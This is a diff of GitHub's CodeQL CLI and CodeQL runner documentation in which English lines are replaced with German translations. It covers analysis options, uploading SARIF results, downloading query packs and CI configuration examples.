| <nobr>`--sarif-add-query-help`</nobr> | | Optional. Verwende diese Option, wenn du alle verfügbaren, mit Markdown gerenderten Abfragen, die in deiner Analyse verwendet werden, einschließen möchtest. Alle Abfragehilfen für benutzerdefinierte Abfragen, die in der SARIF enthalten sind, werden auf der Benutzeroberfläche für die Codeüberprüfung angezeigt, wenn die entsprechende Abfrage eine Warnung generiert. Weitere Informationen findest du unter [Analysieren von Datenbanken mit der {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in der Dokumentation für die {% data variables.product.prodname_codeql_cli %}.{% endif %}{% ifversion codeql-packs %}
| `<packs>` | | Optional. Verwende diese Option, wenn du CodeQL-Abfragepakete in deine Analyse einschließen möchtest. Weitere Informationen findest du unter [Herunterladen und Verwenden von {% data variables.product.prodname_codeql %}-Paketen](#downloading-and-using-codeql-query-packs).
| <nobr>`--download`</nobr> | | Optional. Verwende diese Option, wenn einige deiner CodeQL-Abfragepakete sich noch nicht auf dem Datenträger befinden und heruntergeladen werden müssen, ehe du Abfragen ausführst.{% endif %}
| <nobr>`--threads`</nobr> | | Optional. Verwende diese Option, wenn du mehrere Threads zum Ausführen von Abfragen verwenden möchtest. Standardwert: `1`. Du kannst weitere Threads angeben, um die Abfrageausführung zu beschleunigen. Gib `0` an, um die Anzahl der Threads auf die Anzahl der logischen Prozessoren festzulegen.
| <nobr>`--verbose`</nobr> | | Optional. Verwende diese Option, um weitere Informationen zum Analyseprozess und Diagnosedaten zum Prozess der Datenbankerstellung zu erhalten.
For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
Weitere Informationen findest du unter [Analysieren von Datenbanken mit der {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in der Dokumentation für die {% data variables.product.prodname_codeql_cli %}.
### Basic example
### Einfaches Beispiel
This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository.
In diesem Beispiel wird eine {% data variables.product.prodname_codeql %}-Datenbank analysiert, die unter `/codeql-dbs/example-repo` gespeichert ist und die Ergebnisse als SARIF-Datei speichert: `/temp/example-repo-js.sarif`. Dabei wird `--sarif-category` verwendet, um zusätzliche Informationen in die SARIF-Datei einzuschließen, die die Ergebnisse als JavaScript kennzeichnen. Dies ist wichtig, wenn du über mehrere {% data variables.product.prodname_codeql %}-Datenbanken verfügst und einen einzelnen Commit in einem Repository analysieren möchtest.
```
$ codeql database analyze /codeql-dbs/example-repo \
@ -183,16 +187,16 @@ $ codeql database analyze /codeql-dbs/example-repo \
> Interpreting results.
```
## Uploading results to {% data variables.product.product_name %}
## Hochladen von Ergebnissen in {% data variables.product.product_name %}
{% data reusables.code-scanning.upload-sarif-alert-limit %}
Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports:
Bevor du Ergebnisse auf {% data variables.product.product_name %} hochladen kannst, musst du bestimmen, wie du die {% data variables.product.prodname_github_app %} oder das zuvor erstellte {% data variables.product.pat_generic %} am besten an die {% data variables.product.prodname_codeql_cli %} übergibst (siehe [Installieren von {% data variables.product.prodname_codeql_cli %} in deinem CI-System](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). Es wird empfohlen, den Leitfaden deines CI-Systems zur sicheren Verwendung eines Geheimnisspeichers zu lesen. Die {% data variables.product.prodname_codeql_cli %} unterstützt:
- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended).
- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option.
- Das Übergeben des Tokens an die CLI über die Standardeingabe mithilfe der Option `--github-auth-stdin` (empfohlen)
- Das Speichern des Geheimnisses in der Umgebungsvariablen `GITHUB_TOKEN` und das Ausführen der CLI ohne die Option `--github-auth-stdin`
When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`.
Wenn du dich für die sicherste und zuverlässigste Methode für deinen CI-Server entschieden hast, führe `codeql github upload-results` in jeder SARIF-Ergebnisdatei aus, und schließe `--github-auth-stdin` ein (es sei denn, das Token ist in der Umgebungsvariablen `GITHUB_TOKEN` verfügbar).
```shell
echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=&lt;repository-name&gt; \
@ -200,20 +204,20 @@ When you have decided on the most secure and reliable method for your CI server,
{% ifversion ghes or ghae %}--github-url=&lt;URL&gt; {% endif %}--github-auth-stdin
```
| Option | Required | Usage |
| Option | Erforderlich | Verwendung |
|--------|:--------:|-----|
| <nobr>`--repository`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
| <nobr>`--ref`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pull/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pull/NUMBER/merge`.
| <nobr>`--commit`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed.
| <nobr>`--sarif`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes or ghae %}
| <nobr>`--github-url`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %}
| <nobr>`--github-auth-stdin`</nobr> | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token.
| <nobr>`--repository`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib *OWNER/NAME* (den*die Besitzer*in/den Namen) des Repositorys an, in das Daten hochgeladen werden. Der Besitzer muss eine Organisation innerhalb eines Unternehmens sein, die über eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} verfügt. {% data variables.product.prodname_GH_advanced_security %} muss für das Repository aktiviert sein{% ifversion fpt or ghec %}, es sei denn, das Repository ist öffentlich{% endif %}. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).
| <nobr>`--ref`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib den Namen des von dir ausgecheckten und analysierten Verweises (`ref`) an, damit die Ergebnisse dem richtigen Code zugeordnet werden können. Verwende für einen Branch `refs/heads/BRANCH-NAME`. Verwende für einen Headcommit eines Pull Requests `refs/pull/NUMBER/head` oder für den von {% data variables.product.prodname_dotcom %} generierten Mergecommit eines Pull Requests `refs/pull/NUMBER/merge`.
| <nobr>`--commit`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib die vollständigen SHA des analysierten Commits an.
| <nobr>`--sarif`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib die SARIF-Datei an, die geladen werden soll.{% ifversion ghes or ghae %}
| <nobr>`--github-url`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib die URL für {% data variables.product.product_name %} an.{% endif %}
| <nobr>`--github-auth-stdin`</nobr> | | Optional. Verwende diese Option, um die CLI an die {% data variables.product.prodname_github_app %} oder das {% data variables.product.pat_generic %} weiterzugeben, das zur Authentifizierung mit der REST-API von {% data variables.product.company_short %} über die Standardeingabe erstellt wurde. Dies ist nicht erforderlich, wenn der Befehl über Zugriff auf `GITHUB_TOKEN`-Umgebungsvariablen verfügt, die mit diesem Token festgelegt wurden.
For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}.
Weitere Informationen findest du unter [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in der Dokumentation für die {% data variables.product.prodname_codeql_cli %}.
### Basic example
### Einfaches Beispiel
This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch.
In diesem Beispiel werden Ergebnisse aus der SARIF-Datei `temp/example-repo-js.sarif` in das Repository `my-org/example-repo` hochgeladen. Es teilt der {% data variables.product.prodname_code_scanning %}-API mit, dass die Ergebnisse für den Commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` für den Branch `main` gelten.
```
$ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \
@ -222,30 +226,30 @@ $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-
{% endif %}--github-auth-stdin
```
There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
Es gibt keine Ausgabe aus diesem Befehl, sofern der Upload nicht erfolgreich war. Die Eingabeaufforderung kehrt zurück, wenn der Upload abgeschlossen ist und die Datenverarbeitung begonnen hat. Auf kleineren Codebasen solltest du die {% data variables.product.prodname_code_scanning %}-Warnungen in {% data variables.product.product_name %} kurz danach untersuchen können. Je nach ausgechecktem Code kannst du Warnungen direkt in der Pull-Anforderung oder auf der Registerkarte **Sicherheit** für Branches anzeigen. Weitere Informationen findest du unter [Selektieren von {% data variables.product.prodname_code_scanning %}-Warnungen in Pull Requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests) und [Verwalten von {% data variables.product.prodname_code_scanning %}-Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository).
{% ifversion codeql-packs %}
## Downloading and using {% data variables.product.prodname_codeql %} query packs
## Herunterladen und Verwenden von {% data variables.product.prodname_codeql %}-Abfragepaketen
{% data reusables.code-scanning.beta-codeql-packs-cli %}
The {% data variables.product.prodname_codeql_cli %} bundle includes queries that are maintained by {% data variables.product.company_short %} experts, security researchers, and community contributors. If you want to run queries developed by other organizations, {% data variables.product.prodname_codeql %} query packs provide an efficient and reliable way to download and run queries. For more information, see "[About code scanning with CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)."
Das {% data variables.product.prodname_codeql_cli %}-Paket enthält Abfragen, die von {% data variables.product.company_short %}-Experten, Sicherheitsforschern und Community-Mitwirkenden verwaltet werden. Wenn du Abfragen ausführen möchtest, die von anderen Organisationen entwickelt wurden, bieten {% data variables.product.prodname_codeql %}-Abfragepakete eine effiziente und zuverlässige Möglichkeit zum Herunterladen und Ausführen von Abfragen. Weitere Informationen findest du unter [Informationen zu Codeüberprüfungswarnungen mit CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries).
Before you can use a {% data variables.product.prodname_codeql %} pack to analyze a database, you must download any packages you require from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}. This can be done either by using the `--download` flag as part of the `codeql database analyze` command. If a package is not publicly available, you will need to use a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} to authenticate. For more information and an example, see "[Uploading results to {% data variables.product.product_name %}](#uploading-results-to-github)" above.
Bevor du ein {% data variables.product.prodname_codeql %}-Paket verwenden kannst, um eine Datenbank zu analysieren, müssen alle Pakete heruntergeladen werden, die du aus der {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} benötigst. Dies kann durch Verwendung des Flags `--download` als Teil des Befehls `codeql database analyze` erfolgen. Wenn ein Paket nicht öffentlich verfügbar ist, musst du eine {% data variables.product.prodname_github_app %} oder ein {% data variables.product.pat_generic %} zum Authentifizieren verwenden. Weitere Informationen und ein Beispiel findest du unter [Hochladen von Ergebnissen in {% data variables.product.product_name %}](#uploading-results-to-github) oben.
| Option | Required | Usage |
| Option | Erforderlich | Verwendung |
|--------|:--------:|-----|
| <nobr>`<scope/name@version:path>`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. Optionally, include a path to a query, directory, or query suite to run. If no path is included, then run the default queries of this pack. |
| <nobr>`--github-auth-stdin`</nobr> | | Optional. Pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token.
| <nobr>`<scope/name@version:path>`</nobr> | {% octicon "check-circle-fill" aria-label="Required" %} | Gib den Bereich und den Namen eines oder mehrerer CodeQL-Abfragepakete an, die mithilfe einer durch Komma getrennten Liste heruntergeladen werden sollen. Schließe optional die Version ein, die heruntergeladen und entpackt werden soll. Standardmäßig wird die neueste Version des Pakets heruntergeladen. Optional kannst du einen Pfad zu einer Abfrage, einem Verzeichnis oder einer Abfragesammlung angeben, die ausgeführt werden soll. Wenn kein Pfad angegeben ist, führe die Standardabfragen dieses Pakets aus. |
| <nobr>`--github-auth-stdin`</nobr> | | Optional. Übergib die {% data variables.product.prodname_github_app %} oder das {% data variables.product.pat_generic %}, das zur Authentifizierung mit der {% data variables.product.company_short %}-REST-API erstellt wurde, über die Standardeingabe an die CLI. Dies ist nicht erforderlich, wenn der Befehl über Zugriff auf `GITHUB_TOKEN`-Umgebungsvariablen verfügt, die mit diesem Token festgelegt wurden.
### Basic example
### Einfaches Beispiel
This example runs the `codeql database analyze` command with the `--download` option to:
In diesem Beispiel wird der Befehl `codeql database analyze` mit der Option `--download` für folgende Zwecke ausgeführt:
1. Download the latest version of the `octo-org/security-queries` pack.
2. Download a version of the `octo-org/optional-security-queries` pack that is *compatible* with version 1.0.1 (in this case, it is version 1.0.2). For more information on semver compatibility, see [npm's semantic version range documentation](https://github.com/npm/node-semver#ranges).
3. Run all the default queries in `octo-org/security-queries`.
4. Run only the query `queries/csrf.ql` from `octo-org/optional-security-queries`
1. Herunterladen der neuesten Version des Pakets `octo-org/security-queries`
2. Herunterladen einer Version des Pakets `octo-org/optional-security-queries`, die mit Version 1.0.1 *kompatibel* ist (in diesem Fall Version 1.0.2) Weitere Informationen zur SemVer-Kompatibilität findest du in der [npm-Dokumentation zur semantischen Versionierung unter „Ranges“](https://github.com/npm/node-semver#ranges).
3. Ausführen aller Standardabfragen in `octo-org/security-queries`
4. Ausschließliches Ausführen der Abfrage `queries/csrf.ql` in `octo-org/optional-security-queries`
```
$ echo $OCTO-ORG_ACCESS_TOKEN | codeql database analyze --download /codeql-dbs/example-repo \
@ -268,22 +272,22 @@ $ echo $OCTO-ORG_ACCESS_TOKEN | codeql database analyze --download /codeql-dbs/e
> Interpreting results.
```
### Direct download of {% data variables.product.prodname_codeql %} packs
### Direktes Herunterladen von {% data variables.product.prodname_codeql %}-Paketen
If you want to download a {% data variables.product.prodname_codeql %} pack without running it immediately, then you can use the `codeql pack download` command. This is useful if you want to avoid accessing the internet when running {% data variables.product.prodname_codeql %} queries. When you run the {% data variables.product.prodname_codeql %} analysis, you can specify packs, versions, and paths in the same way as in the previous example:
Wenn du ein {% data variables.product.prodname_codeql %}-Paket herunterladen möchtest, ohne es sofort auszuführen, kannst du den Befehl `codeql pack download` verwenden. Dies ist nützlich, wenn du bei der Ausführung von {% data variables.product.prodname_codeql %}-Abfragen den Zugriff auf das Internet vermeiden möchtest. Wenn du die {% data variables.product.prodname_codeql %}-Analyse ausführst, kannst du Pakete, Versionen und Pfade auf die gleiche Weise wie im vorherigen Beispiel angeben:
```shell
echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download &lt;scope/name@version:path&gt; &lt;scope/name@version:path&gt; ...
```
### Downloading {% data variables.product.prodname_codeql %} packs from multiple {% data variables.product.company_short %} container registries
### Herunterladen von {% data variables.product.prodname_codeql %}-Paketen aus mehreren {% data variables.product.company_short %}-Containerregistrierungen
If your {% data variables.product.prodname_codeql %} packs reside on multiple container registries, then you must instruct the {% data variables.product.prodname_codeql_cli %} where to find each pack. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors#downloading-codeql-packs-from-github-enterprise-server)."
Wenn sich deine {% data variables.product.prodname_codeql %}-Pakete in mehreren Containerregistrierungen befinden, musst du der {% data variables.product.prodname_codeql_cli %} mitteilen, wo jedes Paket zu finden ist. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors#downloading-codeql-packs-from-github-enterprise-server).
{% endif %}
## Example CI configuration for {% data variables.product.prodname_codeql %} analysis
## CI-Beispielkonfiguration für {% data variables.product.prodname_codeql %}-Analyse
This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}.
Dies ist ein Beispiel für die Reihe von Befehlen, die du verwenden kannst, um eine Codebasis mit zwei unterstützten Sprachen zu analysieren und dann die Ergebnisse in {% data variables.product.product_name %} hochzuladen.
```shell
# Create CodeQL databases for Java and Python in the 'codeql-dbs' directory
@ -317,31 +321,31 @@ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-re
--sarif=python-results.sarif --github-auth-stdin
```
## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system
## Problembehandlung der {% data variables.product.prodname_codeql_cli %} im CI-System
### Viewing log and diagnostic information
### Anzeigen von Protokoll- und Diagnoseinformationen
When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option.
Wenn du eine {% data variables.product.prodname_codeql %}-Datenbank mithilfe einer {% data variables.product.prodname_code_scanning %}-Abfragesuite analysierst, generiert die CLI detaillierte Informationen zu Warnungen und meldet zusätzlich Diagnosedaten aus dem Schritt für die Datenbankgenerierung und Zusammenfassungsmetriken. Für Repositorys mit wenigen Warnungen sind diese Informationen möglicherweise für dich hilfreich, um festzustellen, ob es wirklich wenige Probleme im Code gibt, oder wenn Fehler beim Generieren der {% data variables.product.prodname_codeql %}-Datenbank aufgetreten sind. Wenn du eine ausführlichere `codeql database analyze`-Ausgabe wünschst, verwende die Option `--verbose`.
For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)".
Weitere Informationen zum Typ der verfügbaren Diagnoseinformationen findest du unter [Anzeigen von {% data variables.product.prodname_code_scanning %}-Protokollen](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information).
### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages
### {% data variables.product.prodname_code_scanning_capc %} zeigt nur Analyseergebnisse aus einer der analysierten Sprachen an.
By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data.
Standardmäßig erwartet {% data variables.product.prodname_code_scanning %} eine SARIF-Ergebnisdatei pro Analyse für ein Repository. Wenn du daher eine zweite SARIF-Ergebnisdatei für einen Commit hochlädst, wird sie als Ersatz für den ursprünglichen Datensatz behandelt.
If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository.
Wenn du mehrere Ergebnisse in die {% data variables.product.prodname_code_scanning %}-API für einen Commit in einem Repository hochladen möchtest, musst du jede Gruppe von Ergebnissen als eindeutige Gruppe identifizieren. Für Repositorys, in denen du mehrere {% data variables.product.prodname_codeql %}-Datenbanken zur Analyse für jeden Commit erstellst, verwende die Option `--sarif-category`, um eine Sprache oder eine andere eindeutige Kategorie für jede SARIF-Datei anzugeben, die du für dieses Repository generierst.
{% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %}
### Issues with Python extraction
### Probleme mit der Python-Extraktion
We are deprecating Python 2 support for the {% data variables.product.prodname_codeql_cli %}, more specifically for the CodeQL database generation phase (code extraction).
Die Unterstützung von Python 2 für die {% data variables.product.prodname_codeql_cli %}, genauer gesagt für die Phase der CodeQL-Datenbankgenerierung (Codeextraktion), wird eingestellt.
If you use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} on code written in Python, you must make sure that your CI system has Python 3 installed.
Wenn du die {% data variables.product.prodname_codeql_cli %} verwendest, um eine {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} für in Python geschriebenen Code auszuführen, musst du sicherstellen, dass für dein CI-System Python 3 installiert ist.
{% endif %}
## Further reading
## Weitere Informationsquellen
- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)
- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)
- [Publishing and using CodeQL packs](https://codeql.github.com/docs/codeql-cli/publishing-and-using-codeql-packs/)
- [Erstellen von CodeQL-Datenbanken](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/)
- [Analysieren von Datenbanken mit der CodeQL-CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/)
- [Veröffentlichen und Verwenden von CodeQL-Paketen](https://codeql.github.com/docs/codeql-cli/publishing-and-using-codeql-packs/)

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring CodeQL runner in your CI system
title: Konfigurieren des CodeQL-Runners in deinem CI-System
shortTitle: Configure CodeQL runner
intro: 'You can configure how the {% data variables.code-scanning.codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.'
intro: 'Du kannst konfigurieren, wie der {% data variables.code-scanning.codeql_runner %} den Code in deinem Projekt überprüft und die Ergebnisse auf {% data variables.product.prodname_dotcom %} hochlädt.'
product: '{% data reusables.gated-features.code-scanning %}'
miniTocMaxHeadingLevel: 3
redirect_from:
@ -24,33 +24,35 @@ topics:
- C/C++
- C#
- Java
ms.openlocfilehash: 64245dd9f320947510db3e108b30c886c95b89d1
ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148161070'
---
{% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
## Informationen zum Konfigurieren des {% data variables.product.prodname_codeql %}-{% data variables.product.prodname_code_scanning %} in deinem CI-System
{% data reusables.code-scanning.deprecation-codeql-runner %}
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
Du kannst den {% data variables.code-scanning.codeql_runner %} verwenden, um das {% data variables.product.prodname_code_scanning %} in dein CI-System zu integrieren. Weitere Informationen findest du unter [Ausführen von {% data variables.code-scanning.codeql_runner %} im CI-System](/code-security/secure-coding/running-codeql-runner-in-your-ci-system).
## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.code-scanning.codeql_runner %}. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
In general, you invoke the {% data variables.code-scanning.codeql_runner %} as follows.
Im Allgemeinen rufst du den {% data variables.code-scanning.codeql_runner %} wie folgt auf.
```shell
$ /path/to-runner/codeql-runner-OS <COMMAND> <FLAGS>
```
`/path/to-runner/` depends on where you've downloaded the {% data variables.code-scanning.codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use.
There are three versions of the {% data variables.code-scanning.codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively.
`/path/to-runner/` hängt davon ab, wohin du den {% data variables.code-scanning.codeql_runner %} in deinem CI-System heruntergeladen hast. `codeql-runner-OS` hängt vom verwendeten Betriebssystem ab.
Es gibt drei Versionen des {% data variables.code-scanning.codeql_runner %} für die jeweiligen Betriebssysteme: `codeql-runner-linux` (Linux), `codeql-runner-macos` (macOS) und `codeql-runner-win` (Windows).
To customize the way the {% data variables.code-scanning.codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file.
Um die Art anzupassen, wie der {% data variables.code-scanning.codeql_runner %} deinen Code überprüft, kannst du Flags wie `--languages` und `--queries` verwenden oder benutzerdefinierte Einstellungen in einer separaten Konfigurationsdatei angeben.
## Scanning pull requests
## Überprüfen von Pull Requests
Scanning code whenever a pull request is created prevents developers from introducing new vulnerabilities and errors into the code.
Durch das Überprüfen des Codes beim Erstellen eines Pull Requests wird verhindert, dass Entwickler*innen neue Sicherheitsrisiken und Fehler in den Code einbauen.
To scan a pull request, run the `analyze` command and use the `--ref` flag to specify the pull request. The reference is `refs/pull/<PR-number>/head` or `refs/pull/<PR-number>/merge`, depending on whether you have checked out the HEAD commit of the pull request branch or a merge commit with the base branch.
Führe zum Überprüfen eines Pull Requests den `analyze`-Befehl aus, und verwendest du das `--ref`-Flag, um den Pull Request anzugeben. Der Verweis entspricht `refs/pull/<PR-number>/head` oder `refs/pull/<PR-number>/merge`, je nachdem, ob du den HEAD-Commit des Pull-Request-Branchs oder einen Mergecommit mit dem Basisbranch ausgecheckt hast.
```shell
$ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge
@ -58,50 +60,50 @@ $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge
{% note %}
**Note**: If you analyze code with a third-party tool and want the results to appear as pull request checks, you must run the `upload` command and use the `--ref` flag to specify the pull request instead of the branch. The reference is `refs/pull/<PR-number>/head` or `refs/pull/<PR-number>/merge`.
**Hinweis:** Wenn du Code mit einem Drittanbietertool analysieren und die Ergebnisse als Pull-Request-Überprüfungen anzeigen möchtest, musst du den `upload`-Befehl ausführen und das `--ref`-Flag verwenden, um den Pull Request anstelle des Branchs anzugeben. Der Verweis entspricht `refs/pull/<PR-number>/head` oder `refs/pull/<PR-number>/merge`.
{% endnote %}
## Overriding automatic language detection
## Überschreiben der automatischen Spracherkennung
The {% data variables.code-scanning.codeql_runner %} automatically detects and scans code written in the supported languages.
Der {% data variables.code-scanning.codeql_runner %} erkennt und überprüft den in den unterstützten Sprachen geschriebenen Code automatisch.
{% data reusables.code-scanning.codeql-languages-bullets %}
{% data reusables.code-scanning.specify-language-to-analyze %}
To override automatic language detection, run the `init` command with the `--languages` flag, followed by a comma-separated list of language keywords. The keywords for the supported languages are {% data reusables.code-scanning.codeql-languages-keywords %}.
Führe den `init`-Befehl mit dem `--languages`-Flag gefolgt von einer durch Kommas getrennten Liste der Sprachschlüsselwörter aus, um die automatische Spracherkennung außer Kraft zu setzen. Die Schlüsselwörter für die unterstützten Sprachen sind {% data reusables.code-scanning.codeql-languages-keywords %}.
```shell
$ /path/to-runner/codeql-runner-linux init --languages cpp,java
```
## Running additional queries
## Ausführen zusätzlicher Abfragen
{% data reusables.code-scanning.run-additional-queries %}
{% data reusables.code-scanning.codeql-query-suites-explanation %}
To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file.
Übergib eine durch Kommas getrennte Liste von Pfaden an das `--queries`-Flag des `init`-Befehls, um eine oder mehrere Abfragen hinzuzufügen. Du kannst zusätzliche Abfragen auch in einer Konfigurationsdatei angeben.
